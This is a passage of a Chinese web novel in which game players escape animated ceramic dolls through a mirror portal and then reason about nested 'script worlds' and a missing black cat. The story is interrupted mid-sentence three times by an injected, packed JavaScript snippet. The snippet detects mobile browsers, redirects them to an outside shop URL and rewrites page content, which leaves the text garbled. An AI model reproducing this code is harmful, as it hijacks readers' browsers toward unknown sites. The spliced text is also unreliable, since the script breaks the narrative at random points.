它们身着各色华丽服饰,表情各异,或笑或嗔,漆黑的眼睛在昏黄的灯光下映出小小的高光,像是在与人对视。在这种场景下,陶瓷娃娃嘴角的笑意若有若无地被扩大,平添了几分诡异。 门窗前都有空气墙,室内没找到折叠梯。宋承环顾四周,喊上楚昭一起移动货柜,随后他踩上这两米高的货柜,检查天花板上的巨大镜子。 镜面长宽两米以上,牢牢贴在上方,宛如一扇通向平行世界的大门。宋承站在货柜顶部,镜面里并没有出现他的身影,甚至连脚下的货柜都没有出现在镜子里。 楚昭没有上去,而是站在货柜旁的地板上,同样抬起头看向镜子。巨大的镜面里,只映出了下方光洁的地板,显得空荡又诡异。他仅看了一眼,又回到纪然身边,当一个毫无存在感的背景板。 此时走到墙边的纪然。同样看到镜子里这奇异的一幕,面对着这面与她差不多高的镜子,她如同没有实体的幽灵一样,镜中画面直接透过了她的身体,映出地板和身后的窗户。 这面镜子,好像照不出他们? 手指摸上镜面,冰凉刺骨的寒意从指尖传来,顺着骨骼一路向上,在纪然收回手时,寒气瞬间消散。 它不是回到真实世界的“门”。 纪然肯定了自己的猜测。在窗外看到这面镜子的异常时,她就感觉这镜子只是进入室内的一个入口,并非他们回去的出口,只是没想到,头顶天花板上还有一块大镜子。 那么墙上这面镜子的用途是什么?为了引诱他们进来摔死?可四米高也摔不死人啊。 纪然缓缓转身,视线投向了正以手触碰天花板上镜面的宋承,然后亲眼目睹了他的手指如同穿越了无形的屏障,轻松穿透了镜面。紧接着,窗外突然传来一声惊呼:“手指出来了!” 虽然不清楚这两面镜子与窗户玻璃的联系,看起来像是个三端传送通道,但显而易见的是,这都不是他们要找的路。 宋承跳下货柜,动作轻巧而敏捷,落地没发出多大声响。站起身后,他微微皱眉:“镜子不是关键。寻猫启事指引我们来到这间屋子,或许这里还存在其他与黑猫有关的线索。” “比如说,那个吗?”纪然指了指角落处。 大厅靠近里侧的位置是收银台,旁边设有一隅休息区,沙发茶几绿植,很标准的配置。而在远离门窗的角落处,则立着一个美术画架,其上覆盖着一块布,地上还散落着几张画纸。 宋承走过去拉开那块布,映入三人眼帘的便是画纸上的黑猫素描图。 细腻有力的笔触,勾勒出黑猫的每一个轮廓,惟妙惟肖地呈现在眼前。它的姿态活灵活现,带着一种野性的优雅,仿佛随时都能从画中一跃而出。 “咚……咚……” 轻微的动静从身后货柜里传来,纪然心中升起一股不好的预感。 回头一看,货柜隐隐在晃动,敲击木头的声音越来越杂乱,像是一群老鼠密密麻麻地乱窜。 “咚咚咚——” 似乎是察觉到有人在看它们,里面的陶瓷娃娃开始撞向玻璃柜门。 “哗——” 吸的一口气还没吐完时,玻璃便碎了。 都没等人反应过来,一大群陶瓷娃娃从橱柜里跳出来,反物理地坠落在地上没有碎。 它们晃了晃身子,像不倒翁似的又挺直了起来,面朝着三人的方向,所有喜怒哀乐贪嗔痴怨表情全都换成了咧嘴笑。 一眼看去,地上已经堆了几百个陶瓷娃娃,货柜里还在源源不断地涌出新的。明明之前他们观察时,所有货柜里的陶瓷娃娃合起来也没一百个,现在却像捅了蚂蚁窝一样。 没有密集恐惧症的人此刻也犯了密集恐惧症。 这下纪然可算知道了为什么室内会留下这么一块空地——陶瓷娃娃小巧玲珑一只,落地后蹦蹦跳跳前进,行动较慢——这是给他们跑路的空间啊! 窗外的玩家们脸色骤变:“快跑啊!躲开啊!” 宋承和楚昭下意识地一人抓住纪然的一只胳膊,毫无默契地往两个方向跑。骤然被扯了一下,纪然有些无语,甩开他们的手:“分开跑。” 刚一甩开,楚昭便微不可见地皱了下眉,动作飞快地重新抓住了她的手腕,硬生生维持住两个人的人设。 七八十平的面积不算大,陶瓷娃娃的动作不快,还只会走直线,只要克服这犹如蟑螂大军出窝的惊慌恐惧感,想要躲避还是比较轻松的。 只不过,它们的数量实在是太多了,还在持续增加中,要不了多久这些空地都会被填满,所以单纯逃跑不是解决的办法。 在即将撞上墙壁时,纪然被拉着转了弯,听着身后出来噼里啪啦地碰撞声,陶瓷碎了一地。 咦,原来这陶瓷娃娃自己撞上去就不会受到损伤,而被人引诱着撞墙,也相当于攻击吗? 察觉到这一点,他们三人只用站在墙壁前,等陶瓷娃娃直线冲过来时,避开就好。 趁着现在战况轻松,他们抓紧时间继续在大厅里找线索。窗外的玩家们也松了口气,陶瓷娃娃不难对付,除了数量多处理起来有些麻烦之外,倒没什么危险性。 可能唯一的危险性是给人的恐惧感吧,毕竟这密密麻麻的一地,配合每个娃娃脸上诡异的笑容,在昏黄的手电光下,着实渗人。 这个剧本世界真的很奇怪,无论是加速黑下来的天,还是空无一人的街道,再加上奇特的玻璃与镜子空间穿越,莫名其妙活过来追击他们的陶瓷娃娃,都让人有一种不真实感。 “我怎么感觉,这个世界是假的。”纪然突然开口说道,随即感受到自己手腕被抓住的地方,受到的力多了几分。 她扭头看了楚昭一眼。 楚昭没说话,对上她的视线后又很快转移开,拉着人又回到画架前。 眼前的画纸上,黑色线条勾勒出来的黑猫跃然纸上,栩栩如生。地上散落着几张画纸,刚才他们还未来得及检查。 纪然蹲下身,捡起画纸,发现纸上画的同样都是那只叫芝麻汤圆的黑猫。 画架上和地上一共五张画纸,底下的落款处写着她辨认不出的艺术字签名,和旁边用正常小楷写的“糯米汤圆”四个字。 假的世界,找不到的B猫,剧本世界,剧中剧世界…… 一个荒诞大胆的想法在她脑子里产生,瞬间整个思绪都被占领了。 “把这些陶瓷娃娃引到墙上那面镜子里去!”纪然没有过多解释,仔细观察那些娃娃们的行动路线。 由于它们只会直线前进,不撞到东西不会拐弯,他们只能一批批地调整娃娃们的方向,往镜子处引。 宋承一听她这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274214|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊,就知道她肯定是发现了什么。现在情况紧急,货柜里的陶瓷娃娃还在不断涌出,所以他一句都没多问,非常配合地引怪。 很巧的是,那些娃娃们从柜门里跳出来时,中央的那个货柜刚好与镜面处于一个水平线,他们只用站在镜子前等它们自己撞过来避开就好。而其他几处货柜涌出来的娃娃们,需要他们三人手动引过去。 在稍微侧身避开一波陶瓷冲击后,纪然看见那些陶瓷娃娃直接撞进了镜面里,消失不见。 果然。 见办法有效,纪然也没再迟疑,招呼窗外的玩家们进来。 一直为里面三人打着光的玩家们有些面面相觑,犹豫着要不要现在进去。肖羽和李新咏看向自家队长,在得到宋承的点头确认后,立马拉过来叶柯和乔云深。 “等下我先进去,你们只管跳,我会接住你们。”肖羽指着窗户里面的货柜顶说道,随后他的视线不仅看向叶柯他们,还扫了一遍其他玩家。 见众人明白他的意思,事不宜迟,他做好落地准备后跳进落地窗里。 下一秒,屈膝半蹲着的人影出现在货柜顶上。地上的陶瓷娃娃们没有发现自己的头顶上多了个人,专心致志地往纪然他们那边冲。 见此,肖羽对着窗外打了个手势。 知道要进去了,谢沫沫有些紧张,在这种陶瓷娃娃还在地面上翻涌时还让大家进入室内,很明显是他们找到了出去的“门”。 与众人相处一天下来,她发现了这一群玩家里,有好几个人明显是之前认识的。现在听着“陈南寻”在那安排大家进入的顺序,莫名地害怕毫无贡献的自己会被丢下。或者说,她担心“出口”有人数限制,去晚了就轮不到她了。 她不相信一群陌生人,也不敢去赌这个可能性。 眼见着自己稍微熟悉一点的“室友唐晨歌”,半个身子已然跨进了落地窗,她什么都来不及想,突然冲过去抓着她的手臂,跟着一起进去了。 事发突然,谁也没想到在李新咏明确表示自己垫底,安排好其他人进入顺序时,还能发生意外。 一直关注窗外情况的肖羽来不及暗骂,见天花板上有人掉落,连忙去接。 叶柯被人紧紧抓着手臂,在坠落的失重感下,还未皱眉,便被一双手接住,搂在怀里。 失控的心跳尚未平复,肖羽接到叶柯,确认她安然无恙后,几乎是带着怒意地伸出手,抓着差点摔下货柜顶的谢沫沫的衣服,手臂上青筋鼓起,把人硬生生一寸一寸往上揪。 惊慌失措的谢沫沫泪如泉涌,她低估了这货柜顶部的大小,导致她几乎是直直掉下去。谢沫沫在半空中伸着手,想要抓住什么稳住自己,差点把承受着三人体重的货柜给带翻。 刚在货柜顶站稳脚,叶柯虽然有些气愤,但知道现在不是问责的时候,轻轻拍了拍肖羽搂在自己腰间的手臂:“我没事,救人要紧。” 这要是掉下去,准会瞬间被娃娃们吞没。 肖羽压下自己内心翻涌的情绪,松开了叶柯,降低身子稳住重心,忍着一口气,把谢沫沫拉了上来。 不大的货柜顶上站了三个人,显得拥挤不堪,何况脚下柜门处还在往外掉落陶瓷娃娃,谢沫沫坐在上面吓得手脚都缩了起来。 引着“小怪”来到墙边的宋承目睹一切,抿了抿唇,脸色冷峻。他扭头看向纪然时,纪然了然地冲他点头,顶替了他引怪的位置。 经过宋承身边时,纪然瞥了一眼货柜顶,然后指着玩家们所在的窗户,言简意赅道:“从里面出去,那扇落地窗就是出口。” 88.店里的娃娃(下) 宋承没有问她是怎么知道的,轻轻颔首后,身手敏捷地避开陶瓷娃娃,来到室内中央的货柜边。他的眼神直接落在叶柯身上:“跳下来!” 没有丝毫犹豫的叶柯直接往下跳,宋承伸手接住,半转身往后退了一步化解冲击力。趁着陶瓷娃娃还没完全围过来,他带着叶柯往落地窗边跑。 昏黄光线下,诡影重重,室内显得空旷而拥挤,满地都是杂乱又有节奏的“咚咚”跳动声,以及他们的脚步声。 到了窗户前,宋承避开最接近他们的几个陶瓷娃娃的冲撞,手指轻轻搭在叶柯的肩膀上,点了点,快速说道:“你先出去等我们,一切万事小心。” 这个出口也有可能不是回到原来世界的大门,而是另一个其他世界,现在谁也拿不准会通往哪里,不过总比被困在这个处处透露着诡异的世界里好。何况叶柯虽然看起来手无缚鸡之力,实际上跟着他们出任务这么久,多少也会点拳脚,一般的自保不成问题。 在落地窗对面的纪然又引了一波陶瓷娃娃往镜子里冲,眼见着它们撞进镜子里时,镜面泛起微弱的亮光,荡开浅浅的波纹。 她眼神微动,冲着叶柯那边喊道:“糖糖,就是现在!”剧本里唐晨歌的外号便是糖糖。 窗外众人都紧盯着距离他们还没两米远的叶柯。虽不清楚里面的人是怎么找到的出口,但眼前室内的景象令人头皮发麻。 货柜的玻璃门已被撞得粉碎,从中不断涌出的陶瓷娃娃,仿佛被赋予了生命,一个接一个,以惊人的连贯性跃出。场景的密集程度超乎想象,比蚂蚁搬家还要密密麻麻,给人一种无穷无尽的感觉。 陶瓷娃娃们在昏暗的光线下闪烁着冷冽的光芒,它们的脸上带着裂开的笑容,却在这混乱的场面中显得诡异极了。 若窗户不是出口,这几秒钟的停顿,足够让后面的陶瓷娃娃撞过来。在这种情况下,没人想去尝试被它们碰一下会有什么后果。 所有人的目光都聚集在叶柯身上,叶柯听到纪然的喊声后,深知时间紧迫的她,如同宋承一般,选择了相信这名新队友的判断。 几乎是纪然话音刚落,叶柯便冲着宋承用力一点头,直接跃进了落地窗。 墙边镜面荡开的涟漪扩大,光芒骤然明亮了几分,就那么一晃眼间,窗边已经失去了叶柯的身影。 成了! 见证出口有效的谢沫沫止住了眼泪,抹了把脸后慌乱无措地对肖羽道歉:“对不起……我,我就是太紧张了……怕你们丢下我……很抱歉,我不是故意的……”她嘴唇张张合合,不断说着道歉的话,连眼前跳出的OOC警告都忽略了。 肖羽见她说着说着又开始擦眼泪,整个人更加烦躁,硬生生克制住想把人丢下去的冲动,打断了她的道歉:“行了,你不用跟我道歉,你真正该说对不起的人是她,而不是我。” 如果不是他反应快,就以货柜顶这么大点的地方,两个人从天花板上几乎达到2m×2m大小的镜子里落下来,一不留神就会与他所站的位置错开,直接掉在地上。 所以一次进一个人,他还能想办法接住;而两个人一起进,也就叶柯跳下来时刚好是在这个货柜上方,否则他还真来不及抓住另一个人。 “你准备一下吧,等他过来你就跳下去。倘若再发生什么意外,谁都救不了你。”说到最后一句时,肖羽的声音低沉下去,隐隐带着些威胁的意味。 谢沫沫听见自己马上就能出去,没管他的态度凶不凶的,只缩着脖子胡乱点着头,眼巴巴地盯着正在甩开陶瓷娃娃重新过来的宋承。 纪然与楚昭游走在满地陶瓷娃娃的空隙间,把一批又一批娃娃门引进镜子。 宋承过来接住谢沫沫。踢了一脚地上的椅子挡住几个冲过来的娃娃,在刺耳的摩擦声与陶瓷碎裂的声音中,拎起这还没他肩膀高的女孩子,三步并两步跑到窗边,直接把人丢进了窗玻璃里。 后续的行动很是顺利,窗外的玩家们一个接一个有序地进来,在肖羽和宋承的配合下,挨个被送了出去。 李新咏在离开前还试图踹翻货柜,想让柜门向下贴在地上,那些陶瓷娃娃们无法出来,结果那些鬼东西撞破货柜背部的实木,从中继续钻出。 直到整个世界里就剩下纪然和楚昭,以及肖羽和宋承他们四个人。 经过这一次次的配合,他们也明白了只有在陶瓷娃娃进入镜面时,出口才会开启,而这些娃娃们需要人引导才会进入镜子。 所以想要全员离开的话,最后一个出去的人,必须得身手敏捷,在那些娃娃们来不及转弯时,横跨这直线二十多米的距离跑到出口。 肖羽跳下货柜,一个翻滚避开行动越发灵活的陶瓷娃娃,听到宋承让他直接出去的命令,扭头看了宋承一眼,没作停顿地冲向出口。 避开一地陶瓷碎片来到墙边的宋承,发现这些陶瓷娃娃已经学会了转弯,各个紧跟他的脚步。看来,出去的时间是有限制的,等到这些娃娃比人还灵活时,面对着堪比小型丧尸围城的处境,再想出去就难了。 扫了一眼还在矜矜业业引怪又毫无存在感的楚昭,宋承接过纪然身后的一批陶瓷娃娃,让她先离开。 纪然刚迈出几步,倏地想起什么,转身冲到角落里的画架旁,捞起几张黑猫素描图,继续往窗边跑。短短二十米不到,明明三四秒钟就能出去,却因为满地密集又飞速乱撞的陶瓷娃娃的阻碍,玩家没剩几个手电光不够明亮,她差点被撞上。 感觉这些鬼东西越跳越高了,现在不仅会转弯,速度也不比她跑的慢。 见状,宋承准备过去替她引开那些陶瓷娃娃,把人安全送出去。还没等他行动,另一边的楚昭突然开口:“你跟她一起出去,我断后。” 知道这人是名经验丰富的老玩家,宋承没托大,留下一句“多谢”便抓起一旁的几本书,掷出去砸碎几个即将撞到纪然的陶瓷娃娃,趁这个机会,他迅速赶到她身边。 “抓紧我。”宋承抓着她的手腕,把人带进怀里,手臂上肌肉鼓起,一使劲便抱起了她。 通往落地窗的这一路上已经没什么落脚之地了,纪然搂紧宋承,身体重心与他贴近。听着愈发吵闹的陶瓷与地面的碰击声,她越过宋承的肩膀,在昏暗又微弱的光线下,对上了楚昭的视线。 来不及细想,她调整手机手电筒的方向,对着宋承的前方路线。 在这一块小空白地也要被陶瓷娃娃们占满时,宋承跨出一步,直接起跳,在即将撞上距离他们最近的货柜时,扭转身体重心,用脚踹上去,膝盖弯曲以此借力,直接再次跃向了另一边。 这边有一根承重柱,纪然只听见耳边传来的呼啸风声,还有宋承略微粗重一些的呼吸声。也对,从他进来到现在,就一直在忙活,把一群人都送出去了,现在只剩下自己这一个队友。 宋承踩着柱子,堪堪从跳得越来越高的陶瓷娃娃头顶上越过,单手抓住了前方的一个铁架子。他扫视了一圈剩下的路线,距离落地窗不到三米远,地面上已经全然没了落脚地。 “还记得之前我是怎么教你避免摔伤吗?手臂护住头部,分散与地面的接触面积,尽可能让身体的侧面或背部去接触,落地时弯曲关节,进行翻滚缓冲。”宋承声音很平静,没有受当前困境的影响,在纪然扭头时盯着她的双眼说道。 见她点头,宋承继续说:“剩下的距离不到三米,你从我身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297822|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬上去,抓着这个栏杆,把自己甩过去……像以前练习时一样,做好落地缓冲,没事的。” 纪然抿唇,看着地面上密密麻麻的陶瓷娃娃,随着它们的弹跳,脸上诡异的笑容仿佛在眼前无限放大。 眼前又再次跳出OOC警告,她却没空再去打断它,紧要关头谁还在意什么人设,先活下去再说。 “我准备好了。”纪然调整了下自己姿势,把画纸折叠塞进口袋,用牙齿咬住手机一角,手电光向下。等宋承搂在她腰间的手臂放松力道时,揪着他的衣服,手脚并用地往上攀爬。 宋承绷紧了浑身肌肉,一只手帮着纪然借力往上,直到她踩上自己肩膀时,才松开手去抓头顶的铁杆,双手撑住两人的重量。 等纪然抓住铁架子的栏杆时,这仅两只粗的杆子并不能让她翻上去,只能抓着它吊着自己,双手交替着往出口方向移动。 地上的陶瓷娃娃随着时间的前进,能力越来越强。到了这种时候,她的头脑愈发清醒,沉住气开始使劲,抓住栏杆开始晃荡。几次大弧度摆动后,她估算了一下距离,在荡向前时松开了手。 镜面微光忽地明亮,涟漪扩散,再次吸走了一批陶瓷娃娃。镜子对面的落地窗,与之同频地荡起同样波纹,淹没了纪然的身影。 见人安全出去,宋承借着自己放在胸前口袋里的手电光,往前移动,以同样的方式把自己甩进出口。 身体再次传来失重的感觉,在风声中,纪然感觉眼前一亮,还没来得及做出防摔伤的防护措施,距离地面还有两三米距离时,就被人接住了。 是李新咏和肖羽。 他们瞧见玻璃窗里有人出来,以他们对队长的了解,不用想也知道会是纪然。 “谢谢。”踩在地面上站稳身体后,纪然道谢。随后听见另一道落地声,扭头一看,是宋承,他出来得很快。 现在就剩下楚昭还在里面了,以老玩家的能力,不至于被困在这种低级副本的虚假世界里吧。 现在他们所在的位置,是靠近街道的一栋废弃小楼,只有二楼的窗户玻璃是完好无损的。不用说,她刚刚就是从二楼掉下来的。 此时天色还未黑,落霞带着缓缓褪色的光感,在天际亮起最后的色彩。 纪然用手背擦了擦嘴,拿起手机看了眼时间,19:10分。 时间又回到了他们走进街道不久的时候。 眼前有人影晃过,纪然抬眼看过去,楚昭正从二楼窗户上翻下来,落地后环视了一圈,直到两人撞上视线。 “你没事吧?”楚昭朝她走过来,眼神一如平常,语气里却充满关心。 纪然摇头,思考着现在刷人设能不能把自己的OOC给补救回去。现在她的视角里,能看到自己身上多了个25%仇恨值的debuff。 只不过,看所处位置,他们好像回到了遇见黑猫之前,然而时间却是变成了遇见黑猫之后的时间。 应该不至于再来一个世界吧? 趁着现在众玩家一个不落地全都聚集在这里,纪然掏出自己从那个世界带出来的画纸,准备确定一下自己之前发现的线索,还有确认现在所处的世界。 然而,画纸展开后,入眼帘的却是一片空白。 黑猫的素描画像,如同被时间之手轻轻抹去痕迹,不复存在。 不仅如此,题名和落款的字迹也不见踪影。 她展开另外几张画纸,张张如此。 目睹这一切的宋承皱眉沉思,眉头紧锁,陷入沉思。周遭的玩家则面露疑惑,面对这奇怪的氛围,彼此交换着不解的目光。 纪然突然展露出一抹微笑,语气愉悦道:“我们回来了。” 89.解谜:世界与猫 这话听得所有人都一愣,什么叫做他们回来了?她发现什么他们不知道的线索了? “你怎么确定的?”夏黎被这几个来回切的世界搞得疑神疑鬼,左右环顾后不安地问道。 “可是我们没有找到黑猫啊,怎么就出来了?难道跟这纸有关系?”陈长风也摸不着头脑,拍了拍在因落地而磕了一次的摄影机,感觉没出什么大毛病,就又捣鼓着,把镜头对向纪然手里的画纸。 宋承记得在之前还在店里时,纪然突然说出的话—— 「这个世界是假的。」 “找不到黑猫,是因为我们在剧中剧世界?”以此为基础进行推测,他问出一个很奇怪的问题,却得到纪然的点头确认。 这个时候她重新把人设捡起来,用娇柔的口吻反问:“一开始我只是怀疑,为什么在有限的范围里,唯一能找到与黑猫有关的东西是寻猫启事,你们没有察觉到不对劲吗?” 除对此有些猜测之外的人齐齐摇头。 纪然把画纸正面翻向众人:“原本我也没想到的,但在看到这张画之后,才感觉之前遇到的一切处处充满了不真实感。” 面对众人盯着空白画纸的疑惑眼神,宋承想起当时在室内只有他们三个人见过黑猫素描图,解释道:“再出来前,这五张画纸里都是同样的姿势与构图角度的黑猫素描画像,除了这张放在画架上的画纸之外,另外四张均是扔在地上略有瑕疵的废稿。” 在B世界里一直待在窗外的人,目光全落在了纸上。 黑猫画像?他们咋没见到? 夏黎操控着镜头缩近,没看出个子丑寅卯来,直接问:“那为什么出来后这些画像都消失了?” “回到真实世界了,在假世界里的画像当然会消失了呀。”纪然见他们好奇,把五张画纸全都递过去。 看着大家睁着清澈的双眼研究着空白画纸,头顶的问号几乎要化为实质,她还是没有回答,而是继续提出几个问题:“为什么只有A和C两只真实存在的黑猫呢?又为什么我们待在A世界里却感觉与C世界,也就是现在的真实世界毫无差别?而只有踏进B世界后,才发现黑猫不对,时间不对,甚至到处都是空气墙?” 是啊,到底为什么呢?别说几个纯新人玩家了,连夏黎和陈长风这俩有点经验的半新玩家都一脸懵。 “所以因为这些奇怪的现象,你怀疑B世界是假的?剧中剧世界……剧本世界……所以,那个时候你猜测B世界是从A世界诞生出来的,不完整?”知道结论再去反推步骤后,宋承很快想到这一层。 纪然冲他竖起拇指,夸赞道:“哇,段哥哥真聪明,一下子就能想到呢。” 很不习惯这种奇怪的语气的宋承抽了抽眉毛,想到她此时拿的人设与关系网,然后莫名其妙瞥了眼楚昭。 本来在没他剧情时老老实实当背景板的楚昭,因为这一眼,不得不开口说点什么,不然就成了被”情敌“挑衅还隐忍不发的崩人设形象。 “在真实世界里创造出剧中剧的内容,剧中剧就成了平行世界里的一方真实世界,后以剧中剧为基础进行剧情添加与修改,从而构建出了剧本世界。所以,除去真实世界外,最初始的世界是便是A世界,刚才的B世界只是提取出来的片段场景。”楚昭一说便是一长段,解释地比宋承清晰很多。 “你也聪明,”纪然没有忘记当时之所以能快速肯定自己的猜测,是收到了楚昭传来的确定信号,也夸赞了一句他,便接着柔柔弱弱说道,“因此,B世界不完整,而且还是从A世界复制过来的一部分,却又没复制全,导致我们很多地方去不了,看不到人也找不到猫。” 感觉自己被敷衍了的楚昭又默不作声。 夏黎想到了什么,问:“所以我当时打不通那个电话,不仅是因为没信号,更是因为在那个世界里,电话并不存在?” “倒也不是吧,”纪然想了想,指向他们手里的画纸,“如果是不存在的话,就不应该出现黑猫画像,所以我更倾向于B世界是按场景戏份构造出的一个个小空间,会在剧情发生变动时自我优化,却因为非完整世界而调整有限。况且,在我们带着A猫离开时,刚踏进B世界不是还遇到了C猫遇害吗?” “C猫遇害不是为了提醒我们去找B猫的一个指向线索吗?”听了半天的钟玉珍没能理解这些话,照纪然的说法,这不是又推翻了前面的部分结论吗? 纪然没否认:“这是一部分。但在我看到黑猫素描画像时,有两个猜测:一是我们要找的B猫,就是这张画像;二是因为C世界的C猫死掉了,而B世界诞生于A,A又被C创造出来,加上之前不还猜测黑猫有某种通灵能力吗?那么这种神奇能力会不会直接作用到平行世界呢?让我们在B世界里受到了C猫的影响,而C猫的死反馈到了A世界,从A世界提取片段重新修改后的B世界也发生了变化。” 听到这两种猜测,众人有些惊疑。原本因为愧对叶柯,还在从窗户落地时被帮了一把的谢沫沫,这个时候也停下了她的自我羞愧,瞪大了眼睛。 “或者说,从C猫死后,这段剧情就崩了,”纪然装作害怕的样子说出这句话,“那个时候我们也已经身处于B世界,本就破碎的世界因为关键黑猫不存在,让它开始了自我优化,做出修补。说到这里,最能证明这个结论的证据在那根电线杆上,我们过去看一眼便知道了。” 她指向街道深处,扭头问楚昭:“你还记得当时的位置吗?” 见他点头,纪然拉着人就往前走,正好他们本来下一幕也要去广场的——黑猫这一段剧情已经结束了。从知道C猫死亡后,离开了B世界,就是走完了剧情。 19:25分,天际边还剩下一抹夕阳,如鱼鳞般的卷积云不似原来那般清晰。 一路上经过的地方,虽不似AB世界里那么安静,却也不见多少行人,只剩下三两个还未打烊的门店,与住宅楼里亮起的灯光。 那种拥有生活气息的感觉,回来了。 待路过宠物医院时,大家都有些PTSD,加快了脚步。 直到楚昭停在一根电线杆前,纪然掏了掏口袋,摸出一粒糖给他。然后抬眼看向上面贴着的小广告,目光在原本寻猫启事所在的位置上停留,却只看到老化破损的旧广告。 她看向边上的广告标题,与在B世界里所见的一模一样。 “寻猫启事……不见了……”夏黎一副见了鬼的表情,陈长风在边上面带诧异。两人对视了一眼,都感觉自己的表情有点崩人设,于是换上了对方的表情。 “这也就证明了从C猫死后,B世界开始了自我修复。那让我们来猜猜,本来存在的黑猫突然不见了该怎么办?”纪然又开始提问了,颇有种老师讲课时的感觉。 谢沫沫吞了吞口水,生怕自己被点名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352867|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “好好的猫不见了,当然是去找,去贴寻猫启事……”陈长风不假思索道,然后愣住了。 纪然已经摸准了自己表情和语气没问题时,是可以说出一些带头脑的话,所以用着甜腻的嗓音说着令人心惊的话:“没错,B世界的猫主人贴了寻猫启事找猫,所以我们是找不到B猫的。那么,失去能带我们回到原来世界的黑猫,那个世界就需要再次修复这个bug,给陷入死局的我们找到一线生机……第一天,不会有事的,对吗?” 最后一句,一语双关地提醒着众人。 “我有个疑问,为什么C猫死亡时间与B猫失踪时间差这么久?”叶柯举手发言。 通过乔云深的血迹检测判断出是三四小时前的血,那C猫应该是在今天遇害;而B猫的寻猫启事时间是两天前,时间对不上。 “不止,还有A猫出现的时间也与我们知道的信息都对不上。”纪然也想起来这点,按自己的推测进行解释。 她摊手道:“若是以C世界为起点来看待A和B世界的话,这两世界事件发生的时间都很没规律。所以我感觉这是一种用来迷惑我们的烟雾弹,毕竟解谜时,线索总得有真有假。仔细一分析,就感觉这个时间差没什么用,影响的顺序依然是C到A到B,我们能出来就是最好的证据。” “当然,也有可能是世界修复后产生的新bug,那张寻猫启事揭不下来,或许在我们走后,它那上面的时间就修正了。”想了想,纪然又补充了一句。 这种说法确实有道理,总而言之,他们完好无损地出来了。 肖羽盯着手里的空白画纸,继续回到话题,啧啧称奇:“于是,后来你肯定了自己的第二个猜测后,又在素描画像上验证了第一个猜测。” 后面的话都不用纪然开口,李新咏转身看向面前的落地窗,接了话:“B世界修正了死路,让我们发现寻猫启事旁边的这家带有黑猫画像的店。非完整世界里有空气墙很合理,却阻拦了我们进门,为此世界再次优化,这扇落地窗就成了最好的入口。” 透过落地窗,里面一览无遗,是很正常的精品屋。布局优雅又考究,货架上排列了一件件精致的物品,或小巧或古朴,或古旧或新颖。 李新咏走过去摸了下玻璃,感受到指尖传来的实质感,平缓地说:“到了这一步,不管是剧情还是世界,其实都已经崩坏。而我们身为异世界的闯入者,即便是不完整的虚构世界,也会随着时间加深对我们的排斥,故而这是一条生路,同时也是一条充满危险的路。” 肖羽拍了下他的肩膀,开了个玩笑:“没想到陈道具师对这些说法也挺有见解的。” “近朱者赤吧,”李新咏失笑,对着纪然问道,“只不过,有一点我没有想明白,你是怎么发现出口是在窗户反面的?” 从黑猫画像上确定这就是他们要找的B猫,那么出口必定就在附近,那么他们进入店里是正确路线。七八十平的地方,无论是门窗还是货柜门都不少,在被陶瓷娃娃追击时,她是怎么一下子找到正确出口的? 而且往窗户玻璃伸出手,手指是对面镜子里出来,但是人进去,却是从天花板掉下来。 关于这点,难道是镜像? “猜的嘛,”看了眼天色,纪然招呼众人,“天要黑了,我们边走边说。”她可还记得,程导让他们踩着落日最后的光线走到广场雕像旁呢。 90.解谜:镜子与窗 街道上有路灯,此刻却出奇地沉默,未曾点亮。 在离开时宾馆前,高老板除了推荐那家餐馆外,有提到过为了让大家早睡早起,镇子里一般晚上是不开路灯的,只有重大节日时才会晚上有灯光。 “其实一开始我并没有发现出口在哪,而是跟大家所见所想差不多。在窗户前伸出手,见到手指从对面墙壁上的镜子里出来,我以为玻璃与镜子是进入室内的入口,但仔细看了几眼,感觉不对劲。”纪然走在人群中间,以一副后怕的模样开始回答之前的问题。 “哪里不对劲?我们看到的东西难道不是一样的吗?”叶柯走在她另一边,侧着头问她。 “那大家应该都有看到,这个玻璃不透光,手电筒往里面照,光线是直接穿进去的。按理说对面的镜子里会反光才是,然而我伸手摸索时,手指出来的镜面上,我自己打向的光也不见了。”纪然说着,点开手机的手电筒。 突然亮起的光线瞬间穿透了身边渐浓的暮色,照亮了她纤细的手指。张开的五指上,手掌和指腹覆盖着一层薄薄的茧,这些茧不仅无损于手的美感,反而增添了一种含蓄的力量感。 她看向地上的影子,手指变换动作,继续说:“这很不符合逻辑。再加上身后就是关于黑猫的线索,所以我很肯定出口就在玻璃后面,也就是那家店里。那么知道了出口的大致位置,我们迟早是要进去的,况且,我也想近距离看一下镜面。不知道你们有没有看清,我们站在那扇落地窗前时,镜子里看不到我们。” 